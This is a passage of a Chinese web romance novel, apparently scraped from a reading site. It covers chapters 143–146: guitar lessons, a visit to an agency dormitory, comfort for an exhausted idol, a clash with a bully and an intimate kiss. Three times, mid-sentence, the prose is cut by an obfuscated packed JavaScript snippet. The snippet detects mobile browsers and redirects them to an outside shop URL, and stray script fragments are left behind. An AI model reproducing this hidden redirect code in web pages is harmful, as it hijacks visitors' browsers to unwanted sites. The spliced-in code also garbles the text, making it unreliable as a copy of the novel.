楚恒却像是一眼就能看穿她此时的遮掩一样,嘴角勾了一下。 “能上网看电视剧和综艺,那,应该也可以上网刷到别的吧。” “……”黄怀予低下头,“没看别的。” 却听见对面传来淡淡的声音,“没搜我的名字?” 黄怀予心里一噔。 把叉子扔在桌上,瞪了他一眼,破罐子破摔,“搜了!怎么样?” “就是忍不住!怎么样?” 根本都不用她去特意搜,带着他大名的八卦帖子都是挤着抢到她眼前。“霸凌”论甚嚣尘上,讨论的人似乎越来越多,尽管没有任何实际证据,但是人云亦云三人成虎,甚至还上了一个30名开外的热搜。 “本来我练《小星星》练得好好的,就是因为刷手机看见了那个犄角旮旯的热搜,搞得我一激动站起来,把你的琴给砸了,琴又把我的脚给砸了。” 楚恒看见对面的女生趴在桌上,托着脸,闷闷不乐地看他。 “这些都是一串连锁事件!” 他站起身来收拾了一下她吃完的蛋糕,走到她面前,俯下身。黄怀予猝不及防又被他抱了起来,听见他胸腔里传来轻轻的震动,听声音像是在很愉悦地笑。 “原来整件事情是这样。” 他托着她的大腿,黄怀予怕掉下去只能双腿用力勾住他的腰,这个姿势实在是太过亲密,她心跳飞快,闷不做声地把头埋进了他肩膀里,闻到了他身上的味道。 “你笑什么?” “你都被骂成那样了。” “一点也不好笑。” 楚恒听见肩膀处传来瓮瓮的几句话,像是昭示着说话人此时不太美妙的心情。 他稍稍松开一点手,怀里的人立刻就由于重力下滑了一点,吓得那人立刻夹紧双腿,又被他托着往上颠了一下。 “……”黄怀予又听见楚恒在低声笑,知道他是故意的,气得打了他肩膀一下,“放我下来!” “再抱一下。” 他轻声说。 “往好处想,掌声嘘声,好过无声。” “比起现在的我来说,再坏也不会坏到哪里去了。” “而且,其实我不在乎。” “其他所有人,我都不在乎。” 他一只手托住她的大腿,另一只手揽住她的腰,把她完完全全抱进怀里。 “我比较在乎如果明天给你带抹茶味的蛋糕的话,你会开心吗。” 143. 第 143 章 黄怀予每天一个人在家里捣鼓楚恒的吉他,三四天过去,已经可以完整地弹《小星星》和《欢乐颂》了。 她坐在卧室窗边,低着头努力研究琴弦。 她觉得这东西好难,比钢琴难。钢琴每个键对应一个音,弹就行了。相比之下,这种拨弦乐器或者苏琬的小提琴那种弓弦乐器都非常难,几根弦能弹出那么多音,那得记多少东西啊! 窗没关,今天天气不是很热,电扇的风吹得白色窗帘微微晃动,也吹起她鬓边几缕垂下来的发丝。头发随意拢了起来,阳光洒在她裸露的脖颈上,乌黑的头发都被照得暖意融融,镀上了一层金色的光晕。 她低着头,神色极其认真,思考的时候眉头微微蹙起来,嘴唇抿着,全神贯注。 ……楚恒进来的时候,看见的就是这一幕。 跟了他几年的吉他,此时就被她拿在手里,放在腿上,死物像是也沾染了她的体温。 早晨起来之后没怎么梳顺的发顶还翘着几根头发,被金色的暖融融的阳光笼罩。她好像特别认真,聚精会神地低着头,坐在地毯上,双腿笔直地并拢,脚趾都蜷缩在了一起。 …… 楚恒走近。 视线扫过旁边的书桌上,多了一摞五线谱纸,几张叠在一起,最上面一张竟然是一幅画。 直接用水性笔画的,画的是窗边的一把吉他和一架琴,很是随意,但是几笔就画出了横横竖竖的线条,流畅而自然。 他翻起下面几张,全都是用水性笔画的画,看上去都极其随意,没有用铅笔打草稿,没有特意找白纸,直接用的现成的五线谱纸和水性笔。有的画的是窗外的立交桥,有的是楼下形形色色走过的人头。 “……你画的?” “昂。”她没抬头,随意应了一声,“闲得无聊画的。” “画得很好。” “一般啦。我也就这种水平了,很业余。随便画画,静心又解压。” 黄怀予顺口回答了一句,还在低着头努力研究这几根弦,下一秒一个高大的身影就坐到自己身后,从后面伸手,一把揽住了她的小腹。 被他猝不及防往后一按,她整个人都往后倒,正好靠在一个宽阔的怀抱里。 身后的体温温热,隔着一层薄薄的衣料相贴,她不由自主瑟缩了一下。 “靠着我。” 自己的手被身后的人抓住,拿起来看。 “手指红了。” 她皱着眉头点头,“好痛……弹吉他是不是就会这样?” “用的劲大了。” 身后的人说着,两只手包住她的手,放在吉他上,手把手教她,低沉的声音在耳侧响起。 “按的时候靠近这里。这里,摸到了吗?靠近但是别按到这里。” “指尖垂直按弦。” “别紧张。” “别太用力。轻轻地就可以弹出来。” 手被两只温热的大手握住,黄怀予顺着他的力道弹了一下,吉他发出一声清脆但却并不小声的声音,她兴高采烈,“哦!原来是这样!” 她得了诀窍,自己又弹了几遍,兴致勃勃地要给他表演。 楚恒以为她要弹《小星星》,可是听了几串断断续续的旋律之后,才发现这旋律特别熟悉。 ——是他的歌,《孤单行星》。 “举一反三,我厉害不?” 楚恒听着那一个一个蹦出来的声音,失神两秒,才笑出来。 “厉害。” “在这里,会觉得无聊吗?” “嗯?你好像是第二遍问这个问题了。”黄怀予低头一边捣鼓吉他弦,一边说,“不无聊呀,很有意思呀。你怎么总是这样问?” 小腹上的那只温热的大手顿了一下,更紧地搂住她。 “我怕……” 他的头靠在她肩膀上,轻轻地说。 “我是一个很无趣的人。” “怕你会觉得,和我在一起,走近我的世界,也是一件无趣的事。” “也许,你有一天就会腻,然后离开。” 一番堪称得上沉重的自我剖析,楚恒有些艰难地说完,喉间涌上涩意,甚至有些不敢去看她此时的神情。 她成绩好,音乐美术样样都懂,自己一个人也能过得这么有滋有味。 他想,如果她安慰自己一些无关痛痒的话?楚恒攥紧了五指,只觉得心好像也空落落的,透着冷风。 他一动不动地箍着她,低头。 他甚至宁愿她直接点头说“确实很无趣”,也好过这样知晓事实却还要从情感上来安慰他无所适从的情绪。 ——却没想到,怀里的人却皱起了眉头,像是在非常认真地考虑这件事。 “我没觉得你无趣。” “可能是因为,你长得太帅了。” “跟你在一起的时候,大部分的时间都在看你的脸。” ……楚恒微张着嘴,完完全全地愣住了。 黄怀予坐在他怀里,很是平静地说: “这段时间以来发生的一些事,其实我也想明白了。我们不能要求一个人是完美的,对吗?我们俩的学习和生活圈子注定我们不一样,我比较擅长让生活变得有意思,你比较擅长让别人看见你就脸红心跳。我内在比较吸引人,你外在比较吸引人。我们各自有各自的长处,互补就好了。” 她转过头,摸了摸他的脸,露出一个“果然如此”的笑容。 “你看,现在,此时此刻,看见你的脸,我就变得心情很好。” 她又转回去,拍拍勾住自己小腹的男人的两只手。 “反正你是我活了十八年见过的最好看的男人了。” “只要你天天都这么好看,我就天天都不会腻。” …… 她感觉到身后的男人愣住许久,终于像是从她这几乎赤裸裸的现实向分析里走了出来,想明白了般呼出一口气。 身后的身躯靠得更紧,他把她紧紧抱住,一边轻轻地吻上她的头发,一边低声说: “这是你答应我的。” 这个世界上的一切关系是不是都等于利益交换?在这个圈子呆久了,楚恒只觉得利益交换带着令人恶心的试探和绝望。 可是如果是黄怀予站在他面前,对他说,只要你永远好看,我就会永远和你在一起。 “……不可以骗我。” 他只会心甘情愿地按下手印并永远遵守这份契约。 * 黄怀予戴上口罩和帽子,下车,看着面前这栋大楼。 坐落在帝都某区中心,右上方标着花体英文“XY”,门前广场时常有步履匆匆的人走过。 ——感觉离她的生活非常遥远。 她一旦想到自己男朋友是这家公司的前员工,现在已经离职解约并且要陪他最后一次来这里清理东西,就有一种像在拍电影的感觉。 …… 楚恒已经进去了。 他给她弄了一个通行证,可以畅通无阻进后面的宿舍大楼。 本来他没准备让她过来的。 他和新娱的解约程序已经彻底走完了。没什么纠纷,甚至称得上平静,毕竟有的解约官司甚至可以打好几年。楚恒不是纠缠的性格,如果是以前他或许还可以忍受这样不清不楚的混乱关系来消耗自己的精力,可是现在他只觉得,他的人生似乎变得珍贵起来。 ——能和她在一起的每一分一秒都很珍贵。 解约金是谷奕那边坚持要全出的。谷奕和他妈说,这笔钱可以当作帮朋友忙,也可以当作他人生中第一笔投资,反正他相信楚恒几年就能赚回来。 “赚不回来怎么办?”谷玉在电话里问。 “那你就当我败光了吧。”谷奕笑嘻嘻的,“比起其他富二代,我是不是都算乖的?” “……”对面沉默,挂断。 没过多久对面回复两个字,“已转”,像是对刚刚谷奕的自我评价的一种无声的默认。 谷奕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187872|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头就点开了“祝你开心到想(4)”群。 【Google】:难道不是吗?出国读书最烧钱,我都没去,自己凭着高考都上了一本线!你们知道我认识的其他那几个二世祖有多草包吗?那几个在澳洲和美国呆了三四年的,英语比我还烂。 【蒜蒜】:那确实很烂。 【Google】:? 【杯子】:哈哈哈哈哈哈哈 【杯子】:不过,虽然知道这钱也许对你来说不算什么,但是终究还是搞得我们几个人压力都很大。 【杯子】:要是几年后没赚回来,你让楚老师去做网红吧。现在网红也挺赚钱,说不定也是一条路。 【Google】:? 【Google】:你怎么就这么莫名其妙地替我哥们决定了未来事业发现路线?@楚恒,别理她!你又不愿意! 【楚恒】:我愿意。 【Google】:? 【杯子】:或者去当舞蹈老师,泉姐最近不就在江城新开了一家舞蹈studio吗? 【楚恒】:好。 【杯子】:颜值博主也可以。 【楚恒】:好。 【Google】:??? 【Google】:她说什么你都说好,你是她的狗吗? 黄怀予一惊,立刻转移话题“你最近补档都补到《小时代》了?”,顺带引起谷奕开始“今天我们欢聚在这里”的接梗,希望能不被发现某人对待她和对待别人大相径庭的标准。 …… 解约程序就这么走完了。 今天本来他没准备让她过来的。但是架不住黄怀予好奇心作祟,非常想去看看,于是两人就这样一起出了门。 楚恒说可以在车里等他,可是黄怀予怎么是个愿意在原地等的性格,来都来了说什么也要进去看看。 “我不打扰你正事,你去拿东西吧,我就在周围逛一下,你拿好给我打电话。” 楚恒给她戴上了口罩,挑了一个帽子叩上,揉了揉她的耳垂,转身走了。 她没敢去公司大楼,怕会遇见很多人,往里面慢悠悠走走,走到了一幢楼下,拍照给楚恒看,他没过多久就回复:“宿舍楼。” ……有点想进去看看。 楚恒这次会先去公司大楼谈正事,最后来宿舍拿东西,是之前搬走的时候没有来得及清理的一些衣服。反正他最后都会过来,黄怀予决定先上去等他。 宿舍楼下有安保扫脸系统,黄怀予滴了一下自己的通行证,门就打开了。现在是上午十点多,整栋楼很安静,黄怀予走进去感觉非常像楚门一中的宿舍,只不过环境好了非常多。 不知道楚恒房间在几楼,黄怀予左右看看,灵机一动,又跟一楼门口的保安搭讪上了。 大叔看上去很和善,正闲得无聊黄怀予就凑上去跟他聊天。他操着一口老帝都腔,说话慢悠悠的,说自己年纪大了闲得没事干,找了份保安的工作打发时间。两人叽里呱啦聊了很久,大叔越聊越高兴,还硬塞给黄怀予一瓶可乐,把男生住几楼女生住几楼的信息全都告诉了她。 “哎呦,您都不知道,我在这儿干了好几年啊,见到的事情那真是多了去了!” “这儿里面住的都是小明星呢!我可是每天都能看见不少八卦!” 于是这二十分钟,黄怀予就已经知道了几个放在微博上都等于惊天巨瓜的消息,捂着嘴瞪着眼,听着大叔吹水了半小时。 聊到最后黄怀予要走,大叔还很是舍不得的样子,最后告诉她男生宿舍在1-4楼,女生宿舍在5-8楼,STAR的都在二楼。今天正巧电梯维修,只能走楼梯。 得到了一堆消息的黄怀予冲大叔挥挥手,心情很好地走去了楼梯间。 …… 沈一瑾刚下通告,从机场回来,累得头晕眼花,此时只想赶紧洗澡躺着睡觉。 偏偏今天电梯维修,她拎着行李箱来到楼梯间的时候,只觉得天都塌了。 144. 第 144 章 沈一瑾只觉得身心俱疲。 走红之后的生活确实给她带来了很多。 名声、金钱、指数级增长的微博粉丝数、圈内人提到你时的那一点点欣赏和尊重、光鲜亮丽的“小花”头衔。 可是连续半年无休,吊着一口气进组拍戏、出歌、上节目,最疲惫的时候十几台摄像机都依然对着她的脸,她第一反应都不能是她想睡觉,而是要担心会不会被拍到黑眼圈。 疲态又足以成为新出炉的“黑图”,被厌恶她的人发在网络世界里,引发无休无止的对立骂战。 她的照片被p到尸体上,加着黑白滤镜,被带着大量生殖器脏字辱骂的时候,她却只能咽下所有情绪,锁掉手机屏幕,看着化妆镜里疲惫而陌生的自己。 还记得吗?去年的这个时候,舞蹈挑战风波里,她还是天不怕地不怕的刺头,不喜欢赵焰就可以深夜在粉丝群里揭露事实,一连上了几个热搜也不在乎。 这样的她,被明红评价为“幼稚”“孩子气”“需要成长”。 如此幼稚的她,成长的证据是什么呢?就是时刻饯行谨慎小心原则,有着公众人物的自觉,在任何事情上都保持缄默。 ——剩下的事,交给团队,交给粉丝。 她只用做那个“沈一瑾”的大众形象标签,赛博世界大战因她而起,却完全不需要她本人出席。P遗照的黑粉立刻就会被她的粉丝揪出来,连带对方的所有追星记录,扣上粉籍开始互相对骂,两边互相放出大量截图“证据”证明自己这边才是受害者,你来我往,早已分不清谁才是源头,谁才是始作俑者,没人能从这剪不断理还乱的关系里去评判一个朴素的正义。 演戏的时候,她真的很快乐。 在舞台上唱歌跳舞的时候,她真的很快乐。 可是现在,她好像已经很久都没有真正地笑过了。 ——会觉得自己矫情吗?明明已经得到了这么多,名和利,鲜花和掌声,难道就你一个人不开心吗?难道就你一个人遭受网络暴力吗?哪个红过的明星没被骂过?别那么脆弱好吗? “不知道。” 沈一瑾站在昏暗的楼梯口,前方楼梯高高长长像是没有终点,手边行李箱沉重得连搬起来都很难,节食许久的胃早就已经开始难受,她的眼泪不知不觉流了满脸,喃喃对自己说:“我真的不知道。” 身后楼梯间大门再次响起,脚步声朝她越走越近。 有人来了。 她慌乱抹掉脸上的泪痕,压低了帽子,有些急促地拉着箱子拖到旁边,侧身背对着身后的人和楼梯,想给对方腾出空间走上去。同时还在心里骂了一句自己,怎么还没有进房间就情绪崩溃了,还被别人撞见,真尴尬。 却没想到好几秒过去,身后都没有声音。 她有些疑惑,擦干了脸上的眼泪,才转身回头看了一眼,就撞见一双明亮的眼睛。 一个个子高挑的女生,目测有一米七左右,也戴着口罩和帽子,看不见脸,只露出一双眼睛,短发。 第一眼看过去,只觉得她的长相似乎并不让人印象深刻,不笑的时候眉眼有些冷淡。 但是再看却觉得她的眼睛很是明亮,黑白分明,对视的时候会有一瞬间被吸引而愣神。 女生站在楼梯口,看着沈一瑾。 突然主动开口问: “需要帮忙吗?” 沈一瑾一愣,几秒之后才意识到那女生说的意思是需不需要帮忙搬箱子。 她有些慌乱摆摆手,“不用不用——” 下一秒手里的箱子却被人直接拿走。 那女生弯下腰,一把就把她手里28寸的大行李箱单手拖了过来,随后右手拎起了箱子侧面的拉手,左手拎起了箱子上面的拉手,双手一拉,随后整个箱子就被她完全拎了起来,一步步踏上楼梯。 “等等……等等!” 沈一瑾傻了,立刻追上去,“我住5楼!太高了!不麻烦你了!我自己来就好!” 那女生拎着这么重的箱子,居然上楼梯的速度比她还快。她上半身穿了一件短款紧身背心,下半身是深色紧身牛仔长裤,从沈一瑾的角度只能看见女生两条又长又直的腿,和挺起的肩背。 “不算麻烦。我送到你房间门口。” 她几步就已经走到了二楼的平台上,弯腰放下箱子,一把扯开口罩,露出一张年轻的脸,看着她,笑了笑。 “你看你瘦的。肯定拿不动。” “让你自己来,我等会估计还要把你背上去。” …… 五楼的楼梯很长很长。 沈一瑾走上最后一节台阶,顾不上喘气就赶紧走上前,从前面那人的手里接过箱子扶手,急切而真诚地说:“谢谢你!” 黄怀予一把放下手里的箱子,抬起身。 她没怎么出汗,只是微微喘气,看着她,“你住哪?” 两人一起进了沈一瑾的宿舍。 “坐!” 沈一瑾手忙脚乱地清了一下沙发上摆着的玩偶,腾出一块空间来,又去冰箱拿了好几根各种各样的冰淇淋出来,摆在黄怀予面前当作招待。 “我和一个队友一起住。经纪人一直想让我搬出去,这样跑通告也方便,但是我不习惯一个人,太孤单了,所以就还一直住在公司宿舍里。” 黄怀予坐下,看着面前这一堆冰淇淋。香草巧克力抹茶,什么味道都有,看上去不会出现在女明星的冰箱里。 “你能吃这个?” 沈一瑾有些不好意思。 “不能。” “但是晚上太饿了实在忍不住的时候就会起来吃,吃一口就扇自己一巴掌,一边吃一边扇,骂自己怎么这么没毅力。” ……真是个狠人。 她拿了一根,也没客气,塞进嘴里,含含糊糊地说:“谢谢。” 房间里安静下来,沈一瑾在她对面坐下。 刚刚才认识的两人之间似乎仍然有些尴尬,沈一瑾小心翼翼地坐着,偷偷观察着对面的女生,却发现她完全没有任何不适,表情极其自然。 两人视线不小心交错,沈一瑾迅速移开目光,耳根有些红。 “……你,也住这栋宿舍吗?之前好像没见过你。” 沈一瑾觉得这女生气质很特别,她也说不上来。 想了好几秒,她终于想到,她觉得这女生有点像……模特。 她一下子想到月前公司新签的一批模特,“你是公司新签的模特吗?原来你们也住这栋楼?” 她想着以后能多认识一个朋友了,心里还很高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196888|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸上带着期待,却没想到对面的女生没回答也没肯定,只是冲她笑了笑。 “……”沈一瑾脸上肉眼可见闪过一点失望,低下头,咬咬唇,五指收拢,小声说,“没关系,你不愿意说也没事的。” 沈一瑾心里装着事,头不由得越来越低。 是啊,她能有什么朋友呢?每天工作这么忙,唯一的好朋友就是MOON的队友。她知道队友们都是很好的人,大家一起相伴走过好几年,可是当她们都没有日程自己却无缝进组上节目的时候,却依然还是会担心团队会因为自己而有隔阂,只能尽量不提团外的工作,每次回来都给她们带礼物。 她是新人,舞台尚且算熟悉,但是拍戏完全从零学起。面对陌生领域产生的无数感想和倾诉欲也无处诉说,以前无话不谈的队友现在也不敢再多说,怕她们多想,只能自己咽下所有情绪,在疲累奔波中让自己一个人消化。 走到现在,她竟然发现,自己身边好像已经没有什么朋友了。 沈一瑾低着头。 自己这个突然要认识对方的举动,是不是太突然、太超出边界了? 她攥紧五指,怕对方发现自己情绪不对,又赶紧回过神,可是抬起头却发现对面的女生已经吃完了一根冰淇淋,很是满足。 “谢谢你请我吃冰淇淋。” 沈一瑾一愣。她下意识以为这只是对方的客套话,却发现对方脸上笑意满满,这才意识到,自己在这里胡思乱想许久,对方却根本没在意。 “遇到了什么困难吗?” 那女生看着她,突然轻声问。 沈一瑾张了张嘴,一下子反应过来,她是在问两人遇见的时候,不小心撞见的自己的眼泪。 “你,你看见了?” 沈一瑾莫名其妙涌上一丝难堪。 扭开脸,沉默好几秒后才突然说: “我太脆弱了吧,对吗?” “……我只是,不知道这样进行下去的意义在哪里了。” 她此时已经不是帝都机场贴着的巨型海报上光鲜亮丽的女明星,她只是素颜肿脸带着黑色鸭舌帽的颓然女生。 体重85斤,长期减肥,胳膊细得能被折断。 被大众喜欢也被大众厌弃,环顾身边竟连一个朋友也没有。 “我经纪人说,做这一行,没有不得心理疾病的。” “她说,我已经很幸运了,应该知足。” “我……” 她说着说着到最后也说不下去了,情绪好像突如其来,话语也没什么逻辑。她甚至不知道自己在干什么,怎么能把这些生活中的烦恼和牢骚就这样对着一个刚刚才帮过自己的陌生人抒发? ——眼泪快要模糊了眼前的视界,视线里却突然闯进一只手。 拿着一根巧克力味的冰棒,递给她。 她愣神,抬起头,被泪水模糊的眼前,看见对面女生带着笑的眼睛。 “吃一根吧。” “心情会好一点。” 那初见时只觉得有些冷淡的眉眼此时却柔和很多,眼睛亮亮的,嘴角挂着淡淡的弧度,声音很温柔。 “减肥的事,以及人生中所有的事,所有别人告诉你十万火急的事,全部都明天再说吧。总而言之,我们先让今天开心点。” 145. 第 145 章 “在冰箱里放了这么多,半夜饿了都会忍不住起来吃。” 那女生轻声问: “你很喜欢吃这个吗?” “……嗯。” 冰冰凉凉的。香甜的巧克力味。 奶酪夹心一咬就在嘴里融化,夹杂着小小的巧克力碎球。 “从小就喜欢。” 是多久以前了?起码是十几年前了吧…… 千禧年初,记忆都是蓝色的,上网还要宽带连接,放学了回家登Q/Q偷菜,少年宫的大铁门晃晃悠悠。 MP3里放着各种各样的歌,盛夏她和哥哥一起偷偷溜出门,用零花钱去买巧克力冰棒,回家的路上听见路边在放舞曲。 “哥,我以后要当明星!” “会唱歌会跳舞的那种明星!” “要你们都可以在电视上看见我,可以在舞台上看见我!上春晚的那种!” 沈一临笑她,“就你那肢体不协调的样子,溜冰骑自行车都能摔跤,你还想唱歌跳舞?” 沈一瑾生气了,大喊:“我一定会成为大明星的!” ……哥哥,十年了。 那个溜冰和骑自行车都会摔跤的人,连续三年练习生考核和出道考核女生组第一名,成为了国内一线女团的主舞。 眼泪猝不及防地落了下来,落了满脸,她伸手去擦,可是擦也擦不完。 巧克力的香甜还在嘴里绽开。 “真好吃。” 她喃喃。十几年了都还是这个味道,它好像永远都不会变。可是当年的人早就变得不成样子了。 “我是走在一条正确的道路上吗?”她问。 对面传来一道声音。 “其实你心里有答案的,对吧?” “走得太远了,也许应该回头想想,我们当初为什么出发。” 沈一瑾停下所有动作。 她像是被雷劈中,从头一直麻到脚后跟。 “……对……” “……对。” “我为什么出发?……我想让家人看见我的努力,想让大家看见我的光芒。” 她骤然站了起来。 她想表演,留下好的舞台,留下好的影视作品,她想一步步走到巅峰之上,想让所有人都认可自己。 管他的!她没时间去迷茫了,诱惑和诅咒像是过眼云烟,她要一步步往前走。她就是要当大明星,她就是要做到一线女团,她就是要拿奖当影后视后!她就想要名利,想要荣耀,想要大家提到沈一瑾就会联想到她脍炙人口的作品,就算很多年以后也依然能被大家看见。 她一把擦干眼泪。 “谢谢你。” “我会永远记得你说的话。” “叮铃铃——”手机铃声骤然响起,沈一瑾看着对方接起了电话。 手机音量开得很大,似乎有点漏音,对面响起了一道低沉的男声。 “在哪?” “我到了。” “想见你。” 寥寥几句,声线却很温柔,她越听越觉得熟悉。 !! ……好像有什么回忆串起来了,沈一瑾不敢相信脑子里的那个答案。 不会错的。 这声音就是楚恒。 只是她从来没听过楚恒这么温柔的声音,温和细语,好像还带着一点黏糊。 面前的女生应着,挂断了电话,回过头看着她。 “我要走啦。” “你……”沈一瑾呆立原地,所有的事情好像都涌入脑海,之前一切的片段似乎都得到了验证。 是她。 原来是她。 沈一瑾骤然想到之前自己和楚恒的那些前尘往事,以及明红授意之下和楚恒捆绑过的CP话题,一时间什么也说不出来,心中突然涌上说不清道不明的复杂心绪。 她在一楼那么热情地帮自己抬箱子,也是因为不知道站在面前的这个人就是沈一瑾吧?如果她知道了,怎么可能会帮这个曾经和自己男朋友炒过CP的前同事呢? 沈一瑾突然升出一丝胆怯,对她伸出手。 “还没有自我介绍。” “我叫沈一瑾。” 却见那女生似乎对于她是沈一瑾这件事并不意外,而是慢慢露出一个笑,站了起来,回握住她。 “我叫黄怀予。” “很高兴见到你。” !! 沈一瑾呆滞地感受着手中属于对方的温热的体温。 她早就知道自己是沈一瑾? 和自己男朋友炒过CP的女明星,喜欢过自己的男朋友,对自己的男朋友表示过明确的好感…… 她早就知道? 但是,看见自己一个人搬不动箱子,却还是愿意二话不说帮她搬上五楼? …… 她离开了。 沈一瑾怅然若失地站在原地。 楚恒真幸运啊。 沈一瑾默不作声地想。 * 楚恒在电话里说自己已经到了二楼。 黄怀予脚步轻快,下楼去找他。 楼梯间空旷,一路上都没人。走到了二楼,推开楼梯间的门,却远远听见前方长廊里,传来交谈说话声。 像是男人的声音,语气夹杂着嘲弄,还带着各种各样的脏话。 黄怀予心头一凛,立刻快步往前走。 走廊里,楚恒站在拐角处,手上抱着一个纸箱,背对着她。 他面前站着一个男人,抱着胸,神色很是不屑,一把就把楚恒手上的纸箱掀翻,箱子里的衣服散落一地。 楚恒后退两步,他却还不依不饶地走上来,鞋子直接踩上了那堆衣服,还嫌恶地狠狠碾了两下。 …… 黄怀予一眼就认出来,那是赵焰。 这一幕几乎直冲她脑袋顶,她想也没想就冲上前,用力推开他,挡在楚恒面前,大骂: “你再欺负他试试!” “滚蛋!” 赵焰被不知道从什么地方冲出来的一个女生推得后退好几步。 他骤然火起,看了一眼对方。 “你谁啊?” 她嗤笑一声,“我是你姥姥!” “赶紧滚蛋!恶心!看你一眼都觉得要得麦粒肿!” “……”赵焰面色阴沉,“你到底是谁?” 黄怀予想也没想,毫不畏惧地直视回去。 “我是他姐!再让我看见你缠着我弟,我发网上说你是男同,性骚扰我弟!” 赵焰被对方毫无逻辑的咒骂声弄得有些莫名其妙,他气笑了,走近一步,紧紧盯着她。 “你知道我是谁吗?” 他脸上带着轻蔑的笑,这里是新娱宿舍楼,无关人员根本进不来,所以他认定面前这个女生也是新娱艺人。 “你还想不想在新娱混了?” “我上头有人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204595|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话一说出来,不仅没见到对方惊讶,反而却见她脸上出现一丝嫌弃。 “你《武林外传》看多了?” “……”赵焰深呼吸一口气,认真审视着黄怀予,似乎想从她嘴里套出什么话来。 只是黄怀予却是个不怕死的,赵焰还没说话,她就立刻指着他的脸,“你看什么?你看什么?信不信我把你眼珠子挖出来塞你嘴里!” 赵焰终于不再纠结,骂了一句神经病,转身走了。 黄怀予翻了几个巨大的白眼。 怎么会有这么不要脸的人?表面上看不起这个看不起那个,实际上不理他还自己贴上来! 她一边弯下腰收拾地上散落一地的衣服,一边还在低声用楚门话骂着街。 下一秒,身体就被身后的人紧紧地抱住了。 她心颤了一下,拍拍搂住自己小腹的那只手。 “别慌,老弟,我罩你。” 把头伏在她肩膀上的人低低地笑出声。 “你笑什么!”黄怀予不乐意了,“你是不是觉得我没这个本事?” 说完又觉得自己好像确实没什么背景,于是又拍拍他补充道:“你姐我还有一个姓谷的富二代哥哥,让他给你出头。大富二代对小富二代,我们胜算很大。” “好。” 身后的人开始一点点、慢慢地、温柔地吻自己的颈侧。 “姐姐真厉害。” …… 黄怀予是一路被牵着回去的。 男人高高瘦瘦,走在她前面,手心烫得吓人,和她十指紧扣,抓着她大步向家走。 门“跨啦”关上,外面的世界终于被隔绝,走廊的灯也被关在了门外,四周一片漆黑。 黑暗中黄怀予被一把按在墙上,一个高大的滚烫的男人的身影压了下来,重重地压在她身上,两只手臂紧紧地勾住她的腰。 她看不分明,只觉得黑暗里视线被阻隔,而其他所有感官都得到了放大。 她的下巴被一只手挑起来,两人鼻息相贴,暖意交融,呼吸缠绵在一起。 她几乎能感受到身上的男人沉重的呼吸,滚烫的体温,又能闻到他身上轻轻浅浅的香味。 他大手捏住自己下巴,唇几乎擦过她的脸颊,喉间溢出情难自禁的粗重呼吸,整个人缠人得吓人,却咬着牙没有更进一步,像是用了极大的自制力,只是急切地去吻她鬓边的发丝。 “……” 黄怀予几乎能听见自己咚咚的心跳声。 他身上好好闻。 他掌心好热。 ……好喜欢他。 黄怀予踮起脚尖,轻轻搂住楚恒的脖子。 然后在黑暗中,精准地吻上了他的唇。 嘴唇相接的那一秒,心跳声几乎要冲出胸膛,柔软的触感让她剧烈地抖了一下。 轻轻地印了上去,才两秒钟又移开。 好软。 冰冰的。 ……有点像果冻。 她静静地看着他,却发现楚恒似乎呆住了,一动不动,像是被点穴了。 黄怀予又踮起脚,用力勾住楚恒的脖子,把他往下拉,又吻了上去。 这下,她感觉到楚恒浑身僵硬得更厉害了,什么反应也没有,像是被抽干了力气,任由她施为。 又辗转反复地亲了几下,她盯着黑暗中那人近在咫尺的唇,微微喘着气,最终,试探着,快速舔了一下他的下唇。 146. 第 146 章 这一下像是点燃干柴的最后一点火星。 她的唇突然被人用力堵住,腰上横亘的手臂传来源源不断的热意把她往前按在怀里,下一秒又被身上的人重重地往下压。 下唇猝不及防被咬了一下,条件反射就张开了嘴,下一刻舌尖就被热烈绵绵地缠上,推杯换盏地纠缠,像是永远不灭的火焰,盛大地激烈地燃烧。 滚烫的呼吸,缠绵的体温,无意识间嘤咛的断断续续的声调。 黄怀予大脑早就一片空白了。 她的脸红得可以滴出血,被按在黑漆漆的墙角一遍一遍承受着身上的男人不知疲倦地追索。呼吸已经乱了,那人极其粗重急促的喘息风一般飘进她耳朵里,轻飘飘像是催情剂。 一点点交融的液体好像顺着来不及闭合的嘴角慢慢流了下来,她有些羞耻地想把人推开转过头去,才刚刚退出来,下一秒又被捏着下巴吻住,嘴边被人细细密密地舔舐,直到她膝盖都软了,再也没有力气躲开,齿关于是再次被强硬似地撬开。 好像过了很久很久。 久到她舌尖已经有些没有知觉,久到她整个人完全站不住,像没有骨头一样被楚恒揽住腰支撑着抱在怀里,久到她快要呼吸不过来。 